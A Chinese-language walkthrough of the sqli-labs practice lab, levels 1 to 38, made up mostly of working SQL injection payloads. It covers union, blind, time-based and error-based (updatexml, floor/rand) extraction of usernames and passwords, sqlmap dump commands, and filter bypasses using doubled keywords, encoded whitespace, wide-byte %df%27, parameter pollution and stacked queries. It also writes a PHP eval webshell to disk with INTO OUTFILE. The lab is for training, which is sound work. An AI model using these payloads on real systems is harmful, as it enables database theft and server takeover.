sqli-labs writeup(less1---less38)
本文参考了一些其他文章
https://www.cnblogs.com/lcamry/category/846064.html详解推荐
http://mp.weixin.qq.com/s?__biz=MzI5MDU1NDk2MA==&mid=2247486774&idx=1&sn=b3f24b3861f9c6e2862365bfee282965&chksm=ec1f5809db68d11fc9b45a83a178e8436a3195c9763aba4c857dda00730b8c856c9d932e6a66&mpshare=1&scene=1&srcid=#rd
sqli-labs安装
sqli-labs下载地址:https://github.com/Audi-1/sqli-labs将其解压到phpstudy中即可。可能会有一些细节问题,网上相关教程很多
另外29-31关需要用到tomcat及java环境。相关安装教程
https://jingyan.baidu.com/article/2c8c281daa77aa0008252aff.html
https://www.jianshu.com/p/46cb6c354de5
less-1
手工注入
首先单引号id=1'
发现报错'1'' limit 0,1
用--+将后面的引号以及limit语句注释id=1'--+
发现正常
用order by判断列数id=1' order by 3 --+
不报错,order by 4
报错,所以有三列
使用id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
得到数据库名
使用id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
得到表名
使用id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
得到列名
使用id=-1' union select 1,username,password from users where id=3 --+
得到id为3的用户名以及密码
sqlmap
得到数据库名sqlmap.py -u "http://192.168.89.130/sqli-labs/Less-1/?id=1" --dbs
得到security数据库的表名sqlmap.py -u "http://192.168.89.130/sqli-labs/Less-1/?id=1" -D security --tables
得到users表的列名sqlmap.py -u "http://192.168.89.130/sqli-labs/Less-1/?id=1" -D security -T users --columns
得到password username列的内容sqlmap.py -u "http://192.168.89.130/sqli-labs/Less-1/?id=1" -D security -T users -C password,username --dump
less-2
加单引号id=1'报错
猜测id=1的1并没有用引号包围,是数值型,不需要引号闭合,直接将后面的语句注释,所以与上类似
?id=1 order by 3 --+
判断列数
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata
得到数据库名
less-3
加单引号报错
id用单引号和括号包围,所以这样闭合id=1') --+
其他同上
less-4
加单引号不报错。加双引号报错http://192.168.89.130/sqli-labs/Less-4/?id=1"
id用双引号和括号包围,所以这样闭合1")--+
less-5
加单引号报错,但是与上不同的是,成功只返回you are in....,错误就报。所以使用布尔盲注一步步猜解
通过Length()猜解当前数据库名长度
id=1' and length(database())=8--+
通过substr(),有三个参数,第一个为需要截取的字符串,第二个为从第几位开始截取,第三个为截取几位
id=1' and substr(database(),1,1)>'r'--+
id=1' and substr(database(),1,1)>'s'--+
说明数据库名第一个字符为s,以此猜解出数据库名
猜解表名
id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'--+
可以得出security数据库的第一个表名的第一个字符为e
当然也可以使用下列语句,猜测是否含有us开头的,如users的表,猜测表名主要使用like后面的通配符,详情查看sql语句
id=1' and ( select 1 from information_schema.tables where table_name like 'us%' and table_schema='security' ) --+
less-6
与less-5相同,只不过为双引号
less-7
出现报错
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
解决:在配置文件my.ini中查看是否有secure_file_priv =
如果没有就自己创建,如果有将secure_file_priv = 后面的删除
那么就可以将文件写入目标的任意目录,否则需要写到其后面指定的目录
在第一次执行时,可能会报语法错误,但实际上已经执行成功,再次执行就会显示该文件已经存在
执行下列语句使生成一个一句话木马文件
id=1%27)) union select 1,2,'<?php @eval($_post["pass"])?>' into outfile 'C:/1.php'--+
还可以导出表的内容等操作,如执行下列语句,即将users的内容导入到1.txt中
id=1%27)) union select * from users into outfile 'C:/1.txt'--+
看到文件内容如下
outfile是将检索到的数据,保存到服务器的文件内:格式:select * into outfile "文件地址"
less-8
界面如果有错误只显示welcome ,没有错误显示you are in...
所以可以采用less-5的布尔盲注,一步步猜解
less-9
发现无论构造怎样的playload,总是返回
所以采用基于时间的布尔盲注
与布尔盲注类似,只不过用sleep(时间)以及if进行判断
如对数据库名称长度进行猜解?id=1' and if(length(database())=7,sleep(10),sleep(5))--+
即如果长度为7就sleep10秒,否则5秒
当为7时,大约5秒9.1
当为8时,大约10秒9.2
可知长度为8
less-10
与less-9相同,为双引号
less-11
基于post的报错注入
利用bp截断,在输入的密码后加单引号,根据报错信息,猜测用到的sql语句可能为WHERE username=' $uname' and password=' $passwd' LIMIT 0,1"
可以用通过or 1=1尝试登陆,因为通过sql语句的真假判断是否能登陆,加上or 1=1后该语句必为真
发现登陆成功
通过报错注入,得到表名等
获取数据库名
union Select count(*),concat((select group_concat(schema_name) from information_schema.schemata),(floor(rand(0)*2))) as a from information_schema.schemata group by a --+
获得security数据库的表名
union Select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),(floor(rand(0)*2))) as a from information_schema.tables where table_schema='security' group by a--+
获得users表的列名
union Select count(*),concat((select group_concat(column_name) from information_schema.columns where table_name='users'),(floor(rand(0)*2))) as a from information_schema.columns where table_name='users' group by a --+
得到username与password的值
union Select count(*),concat((select group_concat(username) from users ),(select group_concat(password) from users ),(floor(rand(0)*2))) as a from users group by a --+
其中count为sql语句中汇总数据的函数,concat为拼接字符为字符串的函数,group_concat为将同一个分组的值连接起来,as为对前面的查询结果起别名为a 列, 最后group by a即根据这一列分组。具体查看sql语法
上面的语句使用group_concat有时显示内容,显示不全,所以有时还需利用limit一个一个显示
报错注入原理https://www.cnblogs.com/xdans/p/5412468.html
也可以使用updataxml进行报错注入
摘自https://www.cnblogs.com/MiWhite/p/6228491.html
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
只要构造的第二个参数不符合xpath格式的字符串就会报错
如:
and updatexml(1,(select group_concat(0x7e,schema_name,0x7e) from information_schema.schemata),1)
得所有数据库名
and updatexml(1,(select group_concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema='security'),1)
得所有表名
and updatexml(1,(select group_concat(0x7e,column_name,0x7e) from information_schema.columns where table_name='users'),1)
得所有列名
and updatexml(1,(select group_concat(0x7e,username,0x7e) from users),1)
得所有列值
updatexml(1,concat(0x7e,( select schema_name from information_schema.schemata limit 1,1) ,0x7e)
由limit 控制得到第几个数据库名,其余表名,列等类似
and updatexml(1,concat('~',database(),'~'),1)
得当前数据库名
and updatexml(1,concat(‘~’,(select @@version),‘~’),1)#
得当前数据库版本等
less-12
与less-11同理,只不过")闭合
less-13
当错误是,返回登录失败。正确时返回登录成功。且语法错误时,会显示出语法错误
所以与less-5同理,采用布尔盲注,只不过通过')闭合,需要通过bp截断提交post数据
如:or substr(database(),1,1)>'r'
猜解数据库名的第一个字符
也可以采用报错注入也与less-11相同
可以通过or 1=1登录
less-14
与less-13同理,闭合为双引号
less-15
单引号闭合,时间盲注或布尔盲注,与上类似
less-16
双引号,括号闭合,与less-15相同
less-17
单引号闭合,使用updatexml报错注入
less-18
查看源码,这里定义了check_input函数,对uname和passwd进行了检查过滤
但是这里使用了insert语句,将uagent, ip_address, username
插入到数据库中,所以可对uagent注入
首先用‘,1,1)#闭合,因为插入语句时,为VALUES ('$uagent', '$IP', $uname)
那么只要在Uagent'后再添上报错语句即可如:
and updatexml(1,(select group_concat(schema_name) from information_schema.schemata),1)
less-19
与less-18相同,注入位置为referer,使用updataxml报错
如:' and updatexml(1,(select group_concat(0x7e,schema_name,0x7e) from information_schema.schemata),1),1)--+
less-20
使用Bp截断后,连续forward两次后,得到有cookie的数据包
用updatexml报错,与上相同
less-21
与less-20相同,使用')闭合,只不过cookie经过base64编码,所以构造的payload要经过编码后
less-22
与less-21相同,使用"闭合
less-23
发现对--和#都进行过滤,所以通过 or '1'='1闭合单引号,之后采取updatexml报错注入
less- 24
二次注入
为了能登陆admin账户,首先注册一个admin'#账户,登录后,修改此账户的密码为1234,那么admin的密码就变成了1234,所以可以登陆admin,密码为1234
因为其更新语句为下,admin'#带入后将对原来密码的判断语句注释掉
less-25
过滤了or 和and
可以采用双写绕过和&&和||代替and与or
之后采用updatexml报错注入
或如:union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+
得到数据库名
less-25a
同样过滤了or和and,采用与less-25相同方法
-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata
得到数据库名
less-26
对or,and,注释符,空格都过滤,其它绕过方法如上,空格用换行的ascii码的16进制代替,即url编码,即%0a
采用updatexml报错注入
0'||updatexml(1,concat(0x7e,database(),0x7e),1)||'1'='1
0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1
less-26a
与less-26相同,采用1‘) or('1'='1的形式闭合括号和单引号
采用布尔注入
less-27
单引号闭合,对union select等都过滤,采用双写,大小写等绕过,最后采用报错注入
或如:0'%0Auniunionon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00
less-27a
双引号闭合,与less-27类似,采用盲注
或如:
0"%0Auniunionon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00
less-28
注释符,空格,Union select等被过滤,采用')过滤,盲注
less-28a
与less-28类似
less-29
相关原理https://www.cnblogs.com/lcamry/p/5762961.html
相当于前面有一个tomcat服务器做waf,处理第一个参数,而真正的php服务器处理第二个参数,其余与less-1相同
例如构造如下:
?id=1&&id=-1' union select 1,2,database()--+
得当前数据库名
less-30
双引号闭合,与less-29相同
less-31
")闭合,其余与上相同
less-32
宽字节注入
php中可能通过addslashes函数将单引号等转义
这时如果mysql使用的是gbk编码可以用宽字节注入绕过 即用%df%27(%27是单引号的url编码)通过函数转义后变为%df%5c%27(%5c为/) 这时因为gbk编码占用两个字符,所以%df%5c组成到一起,使引号能够起作用闭合
less -33
与less-32相同
less-34
post型的宽字节注入,利用bp截断,报错注入
另:采用or 1=1登录:uname=admin&passwd=pass%df' or 1=1#&submit=Submit
less-35
id值没有被引号引起
直接构造:
id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
得到数据库名
id=-1 and updatexml(1,(select group_concat(0x7e,schema_name,0x7e) from information_schema.schemata),1)
less-36
同样是df绕过
less-37
与less-36相同,只不过是post型
less-38
堆叠注入,即多条sql语句一起执行,即一条语句用;结束后,可能执行下一条语句。这样在有足够权限的情况下,可以随意对数据库进行增删改查。
如:id=1';create table test38 like users;--+
创建了和users一样结构的表tset38